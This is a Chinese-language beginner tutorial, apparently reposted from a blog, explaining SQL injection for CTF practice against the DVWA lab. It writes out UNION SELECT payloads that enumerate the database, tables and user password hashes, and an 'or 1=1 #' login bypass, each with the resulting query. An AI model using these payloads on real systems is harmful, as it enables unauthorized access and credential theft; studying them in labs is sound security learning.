CTF之SQL注入詳解


       前言:最近打算玩一下CTF,玩過CTF的都知道SQL注入是CTF中最重要的題型。但是。。。。。。。。。很多大佬的WP都是一陣操作猛如虎。很多都不帶解釋的(大佬覺得簡單所以就不解釋了=_= =_= =_=)。所以這幾天一直都在看關於SQL注入的文章,一直也不理解SQL注入的原理。今天剛好看到了一篇文章,自己也跟着那個博主的思路總結一下,對SQL注入有了一個大概的的理解。寫這篇博文一是希望加深自己對SQL注入的理解二也希望能幫助那些還不是特別理解SQL注入的人

      參考 鏈接 https://www.jianshu.com/p/078df7a35671

     

   SQL注入

一.  Sql注入入門知識點總結

  1. 猜解數據庫

1)     設想這樣的一個場景當我們要輸入一個用戶id,我們輸入欄中輸入1

這時候其實在后台執行的代碼為

SELECT first_name, last_name FROM users WHERE user_id = '1';

2)     如果我們不按常理出牌而是在輸入框中輸入1‘ order by 1#

那么這時候后台執行的代碼就變成了:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的語法#起注釋作用所以#后面的單引號就被注釋掉了)

當我們輸入order by 1的時候可能不會報錯那么我們這時候可以嘗試 23456,直到報錯為止

       假如當數字等於3的時候報錯,那說明當前表只有兩個字段並且只有2列

  1. 接下來使用union select 聯合查詢繼續獲取信息

Union select運算符可以將兩個或者兩個以上的select語句查詢結果集合合並成一個結果集合顯示,即執行聯合查詢需要注意的是使用union查詢的時候需要和主查詢的列數相等,而且我們之前已經知道主查詢的列數是2,接下來就好辦了

1)     這時候我們輸入1‘ union select database(),user()#進行查詢

l  Database()將會返回當前網站所使用的數據庫名字

l  User()將會返回執行當前查詢的用戶名

實際執行的sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;

 

       通過查詢的結果我們可以清晰的看出

u  當前執行查詢用戶名為root@localhost

u  當前使用的數據庫是dvwa

2)     接下來我們嘗試獲取輸入1' union select version(),@@version_compile_os#進行查詢

u  version() 獲取當前數據庫版本.

u  @@version_compile_os 獲取當前操作系統

實際執行的sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

 

         db的版本以及操作系統的類型

u  當前數據庫版本為 : 5.6.31-0ubuntu0.15.10.1.

u  當前操作系統為 : debian-linux-gnu

3)     接下來我們嘗試獲取dvwa數據庫中表名

information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。

       我們輸入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #

       實際執行的的sql語句是:

       SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

 

        通過查詢的結果我們可以清晰的看出

l  Dvwa數據庫有兩個數據表,分別是guestbook,和users

4)     接下來我們嘗試獲取重量級用戶名和密碼

由經驗我們可以大膽猜測users數據表里面的字段是user 和password所以輸入:

1’ union select user,password from users #

實際執行的的sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

通過查詢的結果我們可以清晰的看出

l  用戶名以及密碼

 

二.  Sql注入實驗二驗證繞過

  1. 接下來我們將看下面的登陸頁面 

   如過我們隨便輸入 比如 23 232 這時候會報錯

  1. 怎么做能繞過登陸頁面呢?

我們可以嘗試輸入 123 ‘ or 1=1 123 ‘ or 1=1

這時候我們可以看到

 

這時候我們不禁會想為什么呢?下面我們就來分析一下

實際執行的的sql語句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照mysql的語法#后面的東西會被忽略掉所以即便我們即便輸入 ‘ or 1=1 #(密碼欄不輸入東西結果也是一樣的)

由於判斷語句 or 1=1 恆成立所以不管前面輸入的什么都能成功登陸

我們不在嘗試使用#屏蔽單引號,采用手動閉合式

123‘ or ‘1’ =’1 這樣同樣能登陸成功

 

后記:SQL注入需要大量的練習以及經驗的總結,這里僅僅介紹了一些最基本的一些玩法,后面如果遇到一些好玩的注入我也會在這里分享。

 未完待續。。。。

 

 

 

 

 

 

   


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM